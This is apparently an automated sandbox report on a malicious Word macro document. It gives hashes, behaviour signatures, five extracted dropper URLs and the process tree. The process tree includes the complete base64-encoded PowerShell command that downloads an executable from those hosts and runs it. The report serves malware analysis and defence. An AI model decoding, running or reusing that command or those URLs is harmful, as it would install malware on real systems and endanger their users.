Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    04-06-2024 02:15

General

  • Target

    935e452333bfb15ff276b78f6ba40d6e_JaffaCakes118.doc

  • Size

    335KB

  • MD5

    935e452333bfb15ff276b78f6ba40d6e

  • SHA1

    d948116f1a6a1fcb97c4cb1435f91b9a013b5750

  • SHA256

    c6f779b4c94473711d2fbc3ac7f00e098d0a532773bf907a370401b886a9da4d

  • SHA512

    b63f9501845b9b6f7758e4544455cafd632560b49e9ecb16528435098b808857b709ce2f44881a6f73b29bbf4241d1a9385149d316bf52693b7ce10a43dcdd55

  • SSDEEP

    6144:AG5/BnVfRFJ7KK9aHScdX9znGUbd7e1+gsIUF25Q/YB2KBhCET/Gh:A2n9R/lA5dX9znGUbwggaFJ/YBTT/2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://katleyafloreria.com/n0vpOjlS

exe.dropper

http://ingramjapan.com/h9XwHYQu

exe.dropper

http://farmsys.scketon.com/GKGY9e4v

exe.dropper

http://truenorthtimber.com/CSncj8f

exe.dropper

http://karditsa.org/ohCJotRf8F

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\935e452333bfb15ff276b78f6ba40d6e_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe
      powersheLl -e JABOAF8ANgAyADEANABfAF8APQAoACcAZAAnACsAJwAxADAAXwAnACsAJwAxADUAXwA5ACcAKQA7ACQAcwBfAF8AOAA1ADYAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAUwA3ADAAMAA0ADUAXwA9ACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGsAYQB0AGwAZQB5AGEAZgAnACsAJwBsACcAKwAnAG8AcgBlAHIAaQBhACcAKwAnAC4AYwAnACsAJwBvAG0ALwAnACsAJwBuADAAdgBwACcAKwAnAE8AJwArACcAagAnACsAJwBsACcAKwAnAFMAJwArACcAQAAnACsAJwBoAHQAJwArACcAdABwACcAKwAnADoAJwArACcALwAnACsAJwAvAGkAbgBnAHIAJwArACcAYQBtAGoAYQAnACsAJwBwAGEAbgAuAGMAbwBtAC8AaAA5AFgAJwArACcAdwAnACsAJwBIAFkAUQB1AEAAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwBmACcAKwAnAGEAcgAnACsAJwBtAHMAeQBzAC4AcwBjAGsAZQB0AG8AbgAuAGMAbwBtAC8ARwBLAEcAJwArACcAWQA5AGUANAB2AEAAJwArACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8AJwArACcALwAnACsAJwB0AHIAdQAnACsAJwBlAG4AbwByACcAKwAnAHQAJwArACcAaAB0AGkAbQBiACcAKwAnAGUAcgAuAGMAbwAnACsAJwBtACcAKwAnAC8AQwBTACcAKwAnAG4AJwArACcAYwBqADgAJwArACcAZgBAAGgAdAAnACsAJwB0AHAAOgAvAC8AJwArACcAawBhAHIAZABpACcAKwAnAHQAcwAnACsAJwBhACcAKwAnAC4AbwAnACsAJwByACcAKwAnAGcAJwArACcALwBvAGgAQwBKACcAKwAnAG8AdABSAGYAOABGACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAGsAMgA5ADkAMQBfADAAOAA9ACgAJwBTACcAKwAnADkAXwAnACsAJwA2ADYANwAwACcAKQA7ACQAdQA5ADQAOQBfAF8AMQAwACAAPQAgACcAOQAnADsAJAB1ADEAXwBfADIAXwBfADYAPQAoACcASgA3ACcAKwAnADYAJwArACcAMwAxADMANAAnACkAOwAkAEcAXwAxADkAXwA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB1ADkANAA5AF8AXwAxADAAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAF8AOAA3ADQAXwAyADAAIABpAG4AIAAkAFMANwAwADAANAA1AF8AKQB7AHQAcgB5AHsAJABzAF8AXwA4ADUANgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABIAF8AOAA3ADQAXwAyADAALAAgACQARwBfADEAOQBfADgAKQA7ACQAUgA5ADQAMQAyADUAPQAoACcATwA3ACcAKwAnADgAOQBfACcAKwAnADAAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQARwBfADEAOQBfADgAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABHAF8AMQA5AF8AOAA7ACQAaQA0ADAANwAzAF8ANABfAD0AKAAnAHcAMwAnACsAJwA5ADUANAA0ACcAKwAnAF8AJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAMABfAF8AOAAzADkAPQAoACcAQgBfADcAJwArACcAXwBfADMANgAnACsAJwBfACcAKQA7AA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:884

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      b4d4ae8ba954b76e82c8c97c6a83f6e4

      SHA1

      7a732807e84453a3323d8e1a664195e3a4bcb510

      SHA256

      99531eb0e1f8d782a82c06ab4c611521d9c06fd348f4d9d3a0eaece38e91aa80

      SHA512

      e9fd81a13ef40db7a8e1f07cf428cba54de4a469e20ee236726044d8da6879003e074a0d99857977905f09480ca1a34435f3e2786fbdcd4d6a0a54b736b02ab7

    • memory/884-135-0x00000000029F0000-0x00000000029F8000-memory.dmp
      Filesize

      32KB

    • memory/884-134-0x000000001B580000-0x000000001B862000-memory.dmp
      Filesize

      2.9MB

    • memory/2032-0-0x000000002FA31000-0x000000002FA32000-memory.dmp
      Filesize

      4KB

    • memory/2032-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2032-2-0x00000000713DD000-0x00000000713E8000-memory.dmp
      Filesize

      44KB

    • memory/2032-47-0x0000000005AA0000-0x0000000005BA0000-memory.dmp
      Filesize

      1024KB

    • memory/2032-128-0x0000000005AA0000-0x0000000005BA0000-memory.dmp
      Filesize

      1024KB

    • memory/2032-143-0x00000000713DD000-0x00000000713E8000-memory.dmp
      Filesize

      44KB

    • memory/2032-144-0x0000000005AA0000-0x0000000005BA0000-memory.dmp
      Filesize

      1024KB

    • memory/2032-159-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2032-160-0x00000000713DD000-0x00000000713E8000-memory.dmp
      Filesize

      44KB